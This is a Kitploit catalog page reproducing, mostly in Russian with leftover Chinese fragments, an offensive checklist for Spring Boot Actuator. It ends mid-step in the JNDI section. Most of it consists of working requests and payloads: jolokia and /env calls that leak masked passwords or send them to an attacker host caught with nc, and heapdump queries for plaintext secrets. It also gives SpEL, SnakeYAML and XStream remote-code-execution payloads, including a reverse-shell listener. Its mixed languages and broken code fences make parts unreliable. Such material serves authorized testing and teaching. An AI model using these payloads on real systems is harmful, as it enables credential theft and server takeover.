Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SpringBootVulExploit — Учебные материалы по уязвимостям SpringBoot, сборник методов и техник эксплуатации, чек-лист черного ящика для оценки безопасности | Kitploit
Инструменты/GitHubGitHub/landgrey/springbootvulexploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHublandgrey/springbootvulexploit

SpringBootVulExploit

Учебные материалы по уязвимостям SpringBoot, сборник методов и техник эксплуатации, чек-лист черного ящика для оценки безопасности

Репозиторий
6.1k1.3k85 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Spring Boot Vulnerability Exploit Check List

Сборник материалов по уязвимостям Spring Boot, методы эксплуатации и советы. Чек-лист для черного ящика.

Заявление

⚠️ Весь контент этого проекта предназначен только для исследований безопасности и авторизованного тестирования. Лица, ответственные за неправильное использование и злоупотребление этим проектом, не несут никакой ответственности.

Содержание

  • Spring Boot Vulnerability Exploit Check List
    • 0: Маршруты и версии
      • 0x01: Знание маршрутов
      • 0x02: Знание версий
        • Зависимости между версиями компонентов:
        • Зависимости между версиями Spring Cloud и Spring Boot:
        • Суффиксы и значения номеров минорных версий Spring Cloud:
    • 1: Утечка информации
      • 0x01: Утечка адресов маршрутов и деталей вызова интерфейсов
0x02: Маршруты, раскрытые из-за неправильной конфигурации
  • 0x03: Получение незамаскированного пароля (метод 1)
    • Условия эксплуатации:
    • Метод эксплуатации:
      • Шаг 1: Найти имя свойства, которое нужно получить
      • Шаг 2: Использовать jolokia для вызова соответствующего Mbean и получить незамаскированное значение
  • 0x04: Получение незамаскированного пароля (метод 2)
    • Условия эксплуатации:
    • Метод эксплуатации:
      • Шаг 1: Найти имя свойства, которое нужно получить
      • Шаг 2: Использовать nc для прослушивания HTTP-запросов
      • Шаг 3: Установить свойство eureka.client.serviceUrl.defaultZone
      • Шаг 4: Обновить конфигурацию
      • Шаг 5: Декодировать значение свойства
  • 0x05: Получение незамаскированного пароля (метод 3)
    • Условия эксплуатации:
    • Метод эксплуатации:
      • Шаг 1: Найти имя свойства, которое нужно получить
      • Шаг 2: Использовать nc для прослушивания HTTP-запросов
      • Шаг 3: Инициировать внешний HTTP-запрос
      • Шаг 4: Обновить конфигурацию
  • 0x06: Получение незамаскированного пароля (метод 4)
    • Условия эксплуатации:
    • Метод эксплуатации:
      • Шаг 1: Найти имя свойства, которое нужно получить
      • Шаг 2: Загрузить информацию о куче JVM
      • Шаг 3: Использовать MAT для получения незамаскированного пароля из кучи JVM
  • 2: Удалённое выполнение кода
    • 0x01: SpEL RCE через whitelabel error page
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Найти место с нормальной передачей параметров
        • Шаг 2: Выполнить SpEL-выражение
      • Принцип уязвимости:
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x02: SnakeYAML RCE в Spring Cloud
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Разместить yml и jar файлы
        • Шаг 2: Установить свойство spring.cloud.bootstrap.location
        • Шаг 3: Обновить конфигурацию
      • Принцип уязвимости:
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x03: XStream десериализация RCE в eureka
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Запустить веб-сайт, отвечающий вредоносным XStream payload
        • Шаг 2: Прослушивать порт для реверс-шелла
        • Шаг 3: Установить свойство eureka.client.serviceUrl.defaultZone
        • Шаг 4: Обновить конфигурацию
      • Принцип уязвимости:
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x04: Logback JNDI RCE через jolokia
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Просмотреть существующие MBeans
        • Шаг 2: Разместить xml файл
        • Шаг 3: Подготовить Java-код для выполнения
        • Шаг 4: Запустить вредоносный ldap-сервер
        • Шаг 5: Прослушивать порт для реверс-шелла
        • Шаг 6: Загрузить файл конфигурации логирования из внешнего URL
      • Принцип уязвимости:
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x05: Realm JNDI RCE через jolokia
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Просмотреть существующие MBeans
        • Шаг 2: Подготовить Java-код для выполнения
        • Шаг 3: Разместить class файл
        • Шаг 4: Запустить вредоносный rmi-сервер
        • Шаг 5: Прослушивать порт для реверс-шелла
        • Шаг 6: Отправить вредоносный payload
      • Принцип уязвимости:
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x06: RCE через restart H2 Database Query
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Установить свойство spring.datasource.hikari.connection-test-query
        • Шаг 2: Перезапустить приложение
      • Принцип уязвимости:
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x07: JNDI RCE через H2 Database Console
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Получить jsessionid при обращении к маршруту
        • Шаг 2: Подготовить Java-код для выполнения
        • Шаг 3: Разместить class файл
        • Шаг 4: Запустить вредоносный ldap-сервер
        • Шаг 5: Прослушивать порт для реверс-шелла
        • Шаг 6: Отправить запрос для инициирования JNDI-инъекции
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x08: MySQL JDBC десериализация RCE
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Проверить зависимости окружения
        • Шаг 2: Запустить вредоносный rogue mysql server
        • Шаг 3: Установить свойство spring.datasource.url
        • Шаг 4: Обновить конфигурацию
        • Шаг 5: Инициировать запрос к базе данных
        • Шаг 6: Восстановить нормальный jdbc url
      • Принцип уязвимости:
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x09: Logback JNDI RCE через restart logging.config
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Разместить xml файл
        • Шаг 2: Разместить вредоносный ldap-сервер и код
        • Шаг 3: Установить свойство logging.config
        • Шаг 4: Перезапустить приложение
      • Принцип уязвимости:
      • Анализ уязвимости:
      • Среда уязвимости:
    • 0x0A: Groovy RCE через restart logging.config
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Разместить groovy файл
        • Шаг 2: Установить свойство logging.config
        • Шаг 3: Перезапустить приложение
      • Принцип уязвимости:
      • Среда уязвимости:
    • 0x0B: Groovy RCE через restart spring.main.sources
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Разместить groovy файл
        • Шаг 2: Установить свойство spring.main.sources
        • Шаг 3: Перезапустить приложение
      • Принцип уязвимости:
      • Среда уязвимости:
    • 0x0C: H2 Database RCE через restart spring.datasource.data
      • Условия эксплуатации:
      • Метод эксплуатации:
        • Шаг 1: Разместить sql файл
        • Шаг 2: Установить свойство spring.datasource.data
        • Шаг 3: Перезапустить приложение
      • Принцип уязвимости:
      • Среда уязвимости:
  • 0: Маршруты и версии

    0x01: Знание маршрутов

    • Некоторые программисты могут настроить /manage, /management или имя, связанное с App проекта, как корневой путь Spring.
    • В Spring Boot Actuator 1.x встроенные маршруты по умолчанию начинаются с /, а в 2.x — единообразно с /actuator.
    • Имена встроенных маршрутов Spring Boot Actuator по умолчанию, такие как /env, иногда также изменяются программистами, например, на /appenv.

    0x02: Знание версий

    Spring Cloud — это упорядоченная коллекция фреймворков, построенная на Spring Boot для создания сервисов, предоставляющая такие функции, как управление конфигурацией, обнаружение и регистрация сервисов, интеллектуальная маршрутизация и другие, помогающие быстро разрабатывать распределённые системы.

    Зависимости между версиями компонентов:

    ЗависимостьСписок версий и версии зависимых компонентов
    spring-boot-starter-parentspring-boot-starter-parent
    spring-boot-dependenciesspring-boot-dependencies
    spring-cloud-dependenciesspring-cloud-dependencies

    Зависимости между версиями Spring Cloud и Spring Boot:

    Мажорная версия Spring CloudВерсия Spring Boot
    AngelСовместима с Spring Boot 1.2.x
    BrixtonСовместима с Spring Boot 1.3.x, 1.4.x
    CamdenСовместима с Spring Boot 1.4.x, 1.5.x
    DalstonСовместима с Spring Boot 1.5.x, несовместима с 2.0.x
    EdgwareСовместима с Spring Boot 1.5.x, несовместима с 2.0.x
    FinchleyСовместима с Spring Boot 2.0.x, несовместима с 1.5.x
    GreenwichСовместима с Spring Boot 2.1.x
    HoxtonСовместима с Spring Boot 2.2.x

    Суффиксы и значения номеров минорных версий Spring Cloud:

    Суффикс минорной версииЗначение
    BUILD-SNAPSHOTСнапшот-версия, код не фиксирован, находится в разработке
    MXМайлстоун
    RCXКандидат на релиз
    RELEASEОфициальный релиз
    SRXОфициальный релиз (с исправлением ошибок и багов и повторным выпуском)

    1: Утечка информации

    0x01: Утечка адресов маршрутов и деталей вызова интерфейсов

    Разработчики не осознают, что утечка адресов может привести к рискам безопасности, или при переходе среды разработки в производственную среду соответствующие лица не изменяют файлы конфигурации, забывают переключить конфигурацию среды и т.д.

    Перейдите непосредственно по следующим двум маршрутам, связанным с swagger, чтобы проверить существование уязвимости:``` /v2/api-docs /swagger-ui.html

    root@kitploit:~
    Некоторые другие возможные маршруты интерфейсов, связанные с swagger, swagger codegen, swagger-dubbo и т.д.:```
    /swagger
    /api-docs
    /api.html
    /swagger-ui
    /swagger/codes
    /api/index.html
    /api/v2/api-docs
    /v2/swagger.json
    /swagger-ui/html
    /distv2/index.html
    /swagger/index.html
    /sw/swagger-ui.html
    /api/swagger-ui.html
    /static/swagger.json
    /user/swagger-ui.html
    /swagger-ui/index.html
    /swagger-dubbo/api-docs
    /template/swagger-ui.html
    /swagger/static/index.html
    /dubbo-provider/distv2/index.html
    /spring-security-rest/api/swagger-ui.html
    /spring-security-oauth-resource/swagger-ui.html
    

    Кроме того, следующие маршруты, связанные с Spring Boot Actuator, иногда также содержат (или предполагают) некоторую информацию об адресах интерфейсов, но не могут получить информацию, связанную с параметрами:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

    root@kitploit:~
    **В целом, раскрытие интерфейсов и параметров передачи данных приложения Spring Boot не считается уязвимостью**, но с точки зрения "**безопасности по умолчанию**" не раскрывать эту информацию безопаснее.
    
    Для злоумышленников обычно тщательно анализируются раскрытые интерфейсы, чтобы лучше понять бизнес-логику системы, а также одновременно проверяется наличие других бизнес-уязвимостей, таких как неавторизованный доступ и превышение полномочий.
    
    ### 0x02: Маршруты, раскрытые из-за неправильной конфигурации
    
    > В основном это происходит, когда разработчик при разработке не осознаёт, что раскрытие маршрутов может создать риски безопасности, или не следует стандартному процессу разработки, забывая изменить/переключить конфигурацию в производственной среде перед развёртыванием.
    
    Ссылки: [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) и [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Встроенные маршруты по умолчанию, которые могут быть раскрыты из-за неправильной конфигурации, включают:```
    /actuator
    /auditevents
    /autoconfig
    /beans
    /caches
    /conditions
    /configprops
    /docs
    /dump
    /env
    /flyway
    /health
    /heapdump
    /httptrace
    /info
    /intergrationgraph
    /jolokia
    /logfile
    /loggers
    /liquibase
    /metrics
    /mappings
    /prometheus
    /refresh
    /scheduledtasks
    /sessions
    /shutdown
    /trace
    /threaddump
    /actuator/auditevents
    /actuator/beans
    /actuator/health
    /actuator/conditions
    /actuator/configprops
    /actuator/env
    /actuator/info
    /actuator/loggers
    /actuator/heapdump
    /actuator/threaddump
    /actuator/metrics
    /actuator/scheduledtasks
    /actuator/httptrace
    /actuator/mappings
    /actuator/jolokia
    /actuator/hystrix.stream
    

    Среди наиболее важных интерфейсов для поиска уязвимостей:

    • /env、/actuator/env

      GET-запрос к /env напрямую раскрывает переменные окружения, внутренние IP-адреса, имена пользователей в конфигурации и т.д.; когда программисты используют нестандартные имена атрибутов, например, пишут psasword, pwd вместо password, это может привести к утечке пароля в открытом виде.

      В то же время с некоторой вероятностью можно через POST-запрос к /env установить некоторые атрибуты, косвенно спровоцировав RCE-уязвимости; также с некоторой вероятностью можно получить открытый текст паролей, ключей и другой важной приватной информации, скрытой звездочками.

    • /refresh、/actuator/refresh

      После установки атрибутов через /env (POST) можно дополнительно отправить POST-запрос к /refresh для обновления переменных атрибутов и вызвать соответствующие RCE-уязвимости.

    • /restart、/actuator/restart

      Этот интерфейс раскрывается реже; можно после установки атрибутов через /env (POST) отправить POST-запрос к /restart для перезапуска приложения и вызвать соответствующие RCE-уязвимости.

    • /jolokia、/actuator/jolokia

      Через /jolokia/list можно найти доступные для использования MBean, косвенно спровоцировав RCE-уязвимости, получить открытый текст важной приватной информации, скрытой звездочками, и т.д.

    • /trace、/actuator/httptrace

      Некоторые HTTP-запросы содержат информацию отслеживания доступа, в которой могут быть обнаружены детали запросов внутренних приложений, а также cookie действующих пользователей или администраторов, JWT-токены и т.п.

    0x03: Получение открытого текста пароля, скрытого звездочками (метод первый)

    При обращении к интерфейсу /env Spring Actuator заменяет значения атрибутов, имена которых содержат чувствительные ключевые слова (например, password, secret), на символы * для десенсибилизации.

    Условия использования:

    • На целевом сайте существует интерфейс /jolokia или /actuator/jolokia
    • Цель использует зависимость jolokia-core (требования к версии пока неизвестны)

    Метод использования:

    Шаг 1: Найдите имя атрибута, значение которого нужно получить

    Отправьте GET-запрос к /env или /actuator/env целевого сайта, найдите ключевое слово ******, определите имя атрибута, соответствующее значению, скрытому звездочками.

    Шаг 2: Вызов соответствующего Mbean через jolokia для получения открытого текста

    Замените security.user.password в примере ниже на фактическое имя атрибута, значение которого хотите получить, и отправьте запрос; результат открытого текста содержится в ключе value ответного пакета.

    • Вызов Mbean org.springframework.boot

    Фактически вызывается метод getProperty экземпляра класса org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar

    Spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • Вызов org.springframework.cloud.context.environment Mbean

    На самом деле это вызов метода getProperty экземпляра класса org.springframework.cloud.context.environment.EnvironmentManager

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • 调用其他 Mbean

    目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。

    • Вызов других Mbean

    Конкретная цель и существующие Mbean могут отличаться; можно искать ключевые слова, такие как getProperty, чтобы найти вызываемые методы.

    0x04:获取被星号脱敏的密码的明文 (方法二)

    0x04: Получение открытого текста пароля, скрытого звездочками (метод 2)

    利用条件:

    Условия использования:

    • 可以 GET 请求目标网站的 /env
    • Возможность отправлять GET-запрос к /env целевого сайта
    • 可以 POST 请求目标网站的 /env
    • Возможность отправлять POST-запрос к /env
    • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
    • Возможность отправлять POST-запрос к интерфейсу /refresh для обновления конфигурации (при наличии зависимости spring-boot-starter-actuator)
    • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
    • Цель использует зависимость spring-cloud-starter-netflix-eureka-client
    • 目标可以请求攻击者的服务器(请求可出外网)
    • Цель может отправлять запросы на сервер атакующего (запросы могут выходить во внешнюю сеть)

    利用方法:

    Метод использования:

    步骤一: 找到想要获取的属性名
    Шаг 1: Найти имя свойства, которое нужно получить

    GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

    Отправьте GET-запрос к интерфейсу /env или /actuator/env целевого сайта, найдите ключевое слово ****** и определите имя свойства, значение которого скрыто звездочками.

    步骤二: 使用 nc 监听 HTTP 请求
    Шаг 2: Использовать nc для прослушивания HTTP-запросов

    在自己控制的外网服务器上监听 80 端口:

    На внешнем сервере, который вы контролируете, прослушивайте порт 80:```bash nc -lvk 80

    root@kitploit:~
    ##### Шаг 3: Установка свойства eureka.client.serviceUrl.defaultZone
    
    Замените `security.user.password` в `http://value:${security.user.password}@your-vps-ip` на имя атрибута, скрытого звездочками *, которое вы хотите получить;
    
    `your-vps-ip` замените на реальный IP-адрес вашего внешнего сервера.
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

    root@kitploit:~
    ##### Шаг 4: Обновить конфигурацию
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ##### Шаг 5: Декодирование значений атрибутов
    
    При нормальных условиях сервер, прослушиваемый nc, получит запрос от цели, содержащий заголовок `Authorization` примерно следующего содержания:```
    Authorization: Basic dmFsdWU6MTIzNDU2
    

    Декодируйте часть dmFsdWU6MTIzNDU2 с помощью base64, и вы получите открытый текст, например value:123456, где 123456 — это открытое значение атрибута до маскировки звёздочкой *.

    0x05: Получение открытого текста пароля, скрытого звёздочками (Метод 3)

    Условия использования:

    • Используя POST /env для установки свойства, заставьте цель отправить произвольный HTTP-запрос на указанный адрес во внешней сети.
    • Цель может отправлять запросы на ваш сервер (запрос может выходить во внешнюю сеть).

    Метод использования:

    Обратитесь к issue-1, предложенному UUUUnotfound. В процессе отправки внешнего HTTP-запроса целью можно использовать плейсхолдеры в пути URL для извлечения данных.

    Шаг 1: Найдите имя атрибута, который хотите получить

    Отправьте GET-запрос к эндпоинту /env или /actuator/env целевого сайта, найдите ключевое слово ****** и определите имя атрибута, соответствующее скрытому звёздочкой * значению, которое вы хотите получить.

    Шаг 2: Используйте nc для прослушивания HTTP-запроса

    На внешнем сервере, которым вы управляете, прослушивайте порт 80:```bash nc -lvk 80

    root@kitploit:~
    ##### Шаг 3: Инициирование внешнего HTTP-запроса
    
    - Метод `spring.cloud.bootstrap.location` (**также применим** в случаях, когда в открытых данных есть специальные символы URL)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

    root@kitploit:~
    - `eureka.client.serviceUrl.defaultZone` метод (**не подходит для** случаев, когда в открытых данных есть специальные символы URL)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

    root@kitploit:~
    ##### Шаг 4: Обновление конфигурации
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ### 0x06: Получение открытого текста пароля, скрытого звездочками (Метод 4)
    
    > При обращении к интерфейсу `/env` Spring Actuator заменяет значения свойств, имена которых содержат чувствительные ключевые слова (например, password, secret), на символы `*` для их маскировки.
    
    #### Условия использования:
    
    - Возможность выполнения обычного GET-запроса к конечной точке `/heapdump` или `/actuator/heapdump` на целевой системе
    
    #### Метод использования:
    
    ##### Шаг 1: Определите имя свойства, которое хотите получить
    
    Выполните GET-запрос к конечной точке `/env` или `/actuator/env` целевого сайта, найдите ключевое слово `******` и определите имя свойства, значение которого скрыто звездочками.
    
    ##### Шаг 2: Загрузите информацию о куче JVM
    
    > Размер загружаемого файла heapdump обычно составляет от 50 до 500 МБ, иногда может превышать 2 ГБ
    
    Выполните GET-запрос к конечной точке `/heapdump` или `/actuator/heapdump` целевой системы, чтобы загрузить актуальную информацию о куче JVM приложения
    
    ##### Шаг 3: Используйте MAT для получения открытого текста пароля из кучи JVM
    
    Следуя [статье](https://landgrey.me/blog/16/), используйте запрос **OQL** в инструменте [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php)```
    select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
    
    或
    
    select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
    

    辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

    二:远程代码执行

    由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准

    0x01:whitelabel error page SpEL RCE

    利用条件:

    • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
    • 至少知道一个触发 springboot 默认错误页面的接口及参数名

    利用方法:

    步骤一:找到一个正常传参处

    比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。

    步骤二:执行 SpEL 表达式

    输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

    由字符串格式转换成 0x** java 字节形式,方便执行任意代码:```python

    coding: utf-8

    result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

    root@kitploit:~
    Выполните команду `open -a Calculator````java
    ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    Принцип уязвимости:

    1. При обработке значения параметра в Spring Boot возникает ошибка, выполнение переходит в класс org.springframework.util.PropertyPlaceholderHelper
    2. В этот момент значение параметра в URL рекурсивно разбирается методом parseStringValue
    3. Содержимое, заключенное в ${}, будет обработано методом resolvePlaceholder класса org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration как SpEL-выражение, что приводит к RCE-уязвимости.

    Анализ уязвимости:

    ​ Анализ и воспроизведение уязвимости внедрения SpEL-выражений SpringBoot

    Среда уязвимости:

    repository/springboot-spel-rce

    Нормальный доступ:``` http://127.0.0.1:9091/article?id=66

    root@kitploit:~
    Выполните команду `open -a Calculator`:```java
    http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    0x02:Цепочка Spring Cloud SnakeYAML RCE

    Условия эксплуатации:

    • Возможность отправлять POST-запросы на эндпоинт /env целевого сайта для установки свойств
    • Возможность отправлять POST-запросы на эндпоинт /refresh целевого сайта для обновления конфигурации (при наличии зависимости spring-boot-starter-actuator)
    • Версия зависимости spring-cloud-starter целевого проекта < 1.3.0.RELEASE
    • Целевой сервер может отправлять запросы на HTTP-сервер атакующего (возможность исходящих запросов во внешнюю сеть)

    Метод эксплуатации:

    Шаг 1: Размещение yml и jar-файлов

    Запустите простой HTTP-сервер на подконтрольном вам VPS, используя распространённые порты HTTP-сервисов (80, 443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Поместите файл с расширением `yml` с именем  `example.yml` в корневую директорию сайта, содержимое следующее:```yaml
    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://your-vps-ip/example.jar"]
      ]]
    ]
    

    Поместите файл с расширением jar с именем example.jar в корневой каталог веб-сайта, содержимое — это код, который нужно выполнить. Способ написания и компиляции кода см. в yaml-payload.

    Шаг 2: Установка свойства spring.cloud.bootstrap.location

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
    
    Шаг 3: Обновление конфигурации

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    Принцип уязвимости:

    1. Свойство spring.cloud.bootstrap.location устанавливается на URL внешнего вредоносного YAML-файла.
    2. refresh заставляет целевой компьютер запросить YAML-файл на удаленном HTTP-сервере и получить его содержимое.
    3. Из-за уязвимости десериализации в SnakeYAML при разборе вредоносного YAML-содержимого выполняется определенное действие.
    4. Сначала инициируется java.net.URL для загрузки вредоносного JAR-файла с удаленного HTTP-сервера.
    5. Затем ищется класс в JAR-файле, реализующий интерфейс javax.script.ScriptEngineFactory, и создается его экземпляр.
    6. При создании экземпляра класса выполняется вредоносный код, что приводит к уязвимости RCE.

    Анализ уязвимости:

    root@kitploit:~
    [Заметки по изучению Exploit Spring Boot Actuator и Spring Cloud Env](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/)
    

    Среда уязвимости:

    repository/springcloud-snakeyaml-rce

    Нормальный доступ:``` http://127.0.0.1:9092/env

    root@kitploit:~
    ### 0x03:Xstream-десериализация RCE в Eureka
    
    #### Условия эксплуатации:
    
    - Можно отправлять POST-запросы к конечной точке `/env` целевого сайта для установки свойств
    - Можно отправлять POST-запросы к конечной точке `/refresh` целевого сайта для обновления конфигурации (зависимость `spring-boot-starter-actuator`)
    - Используемая цель `eureka-client` < 1.8.7 (обычно входит в зависимость `spring-cloud-starter-netflix-eureka-client`)
    - Цель может отправлять запросы на HTTP-сервер атакующего (запросы могут выходить во внешнюю сеть)
    
    #### Метод эксплуатации:
    
    ##### Шаг 1: Развертывание сайта, отвечающего вредоносным XStream-пейлоадом
    
    Предоставляется [пример Python-скрипта](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py), основанного на Flask и удовлетворяющего требованиям. Его функция — использовать встроенный Python на целевой машине Linux для получения обратной оболочки (reverse shell).
    
    Запустите указанный выше скрипт на своем контролируемом сервере с помощью Python и измените IP-адрес и номер порта для обратной оболочки в соответствии с реальной ситуацией.
    
    ##### Шаг 2: Прослушивание порта для обратной оболочки
    
    Обычно используется nc для прослушивания порта в ожидании обратной оболочки.```bash
    nc -lvp 443
    
    Шаг 3: Настройка свойства eureka.client.serviceUrl.defaultZone

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
    
    Шаг 4: Обновление конфигурации

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    Принцип уязвимости:

    1. Свойство eureka.client.serviceUrl.defaultZone устанавливается на вредоносный внешний URL-адрес eureka-сервера.
    2. При refresh целевая машина отправляет запрос на удаленный URL, и заранее поднятый фальшивый eureka-сервер возвращает вредоносный payload.
    3. Целевая машина разбирает payload с помощью соответствующих зависимостей, что приводит к десериализации XStream и, как следствие, к RCE.

    Анализ уязвимости:

    ​ Spring Boot Actuator: от неавторизованного доступа до получения оболочки

    Среда уязвимости:

    repository/springboot-eureka-xstream-rce

    Нормальный доступ:``` http://127.0.0.1:9093/env

    root@kitploit:~
    ### 0x04:jolokia logback JNDI RCE
    
    #### Условия эксплуатации:
    
    - Целевой сайт имеет интерфейс `/jolokia` или `/actuator/jolokia`
    - Цель использует зависимость `jolokia-core` (требования к версии пока неизвестны) и в среде существуют соответствующие MBean
    - Цель может отправлять запросы на HTTP-сервер атакующего (запросы могут выходить во внешнюю сеть)
    
    - Обычное внедрение JNDI зависит от версии JDK цели, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), но соответствующая среда может быть обойдена
    
    #### Метод эксплуатации:
    
    ##### Шаг 1:Просмотр существующих MBeans
    
    Обратитесь к интерфейсу `/jolokia/list` для проверки наличия ключевых слов `ch.qos.logback.classic.jmx.JMXConfigurator` и `reloadByURL`.
    
    ##### Шаг 2:Размещение XML-файла
    
    На своем VPS запустите простой HTTP-сервер, желательно используя распространенные порты HTTP-сервисов (80, 443)```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    В корневом каталоге разместите файл example.xml с расширением xml, содержимое которого следующее:```xml

    root@kitploit:~
    ##### Шаг 3: Подготовка Java-кода для выполнения
    
    Напишите оптимизированный [пример Java-кода](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) для обратного шелла `JNDIObject.java`,
    
    скомпилируйте с совместимостью с более старыми версиями JDK:```bash
